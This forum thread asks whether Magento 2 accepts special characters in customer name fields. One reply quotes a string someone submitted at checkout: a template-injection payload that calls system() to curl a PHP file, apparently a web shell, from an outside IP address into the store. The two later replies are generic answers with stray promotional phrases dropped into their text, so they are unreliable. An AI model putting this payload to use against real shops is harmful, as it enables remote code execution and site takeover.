cancel
Showing results for 
Search instead for 
Did you mean: 

Does Magento 2 allow special characters in the First Name & Last Name fields?

Does Magento 2 allow special characters in the First Name & Last Name fields?

Does Magento 2 allow special characters in the First Name & Last Name fields?

3 REPLIES 3

Re: Does Magento 2 allow special characters in the First Name & Last Name fields?

Yes it does, I've had some joker for the last week try to submit orders with this code in the name fields on the checkout page...  not sure what they are trying to accomplish.  

 

{{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS%??}http://185.157.161.207/cache.php?m=49461-23316-42112)}}

Re: Does Magento 2 allow special characters in the First Name & Last Name fields?

Magento 2 allows special characters in the First Name and Last Name fields, though this depends on the configuration settings and custom validation rules applied. By default, Magento 2 permits a wide range of characters, including letters, numbers, spaces, hyphens, and apostrophes. However, if your store has specific requirements, such as needing to allow additional special characters (e.g., accented characters or non-Latin scripts) or restricting certain symbols, these can be configured through custom validation. Developers can customize the validation rules by modifying the respective templates or applying custom modules to ensure the fields meet the desired criteria. This flexibility is essential for stores serving diverse customer bases, where names upperstar imago menu may include special characters beyond the standard alphanumeric set.

Re: Does Magento 2 allow special characters in the First Name & Last Name fields?

Magento 2 does allow special characters in the First Name and Last Name fields. This flexibility is particularly useful for accommodating diverse customer names, including those with hyphens, accents, or other special characters commonly found in various languages and cultures. By permitting special characters, Magento 2 enhances the user experience Check out team names, making it more inclusive and enabling accurate representation of customer information in the system.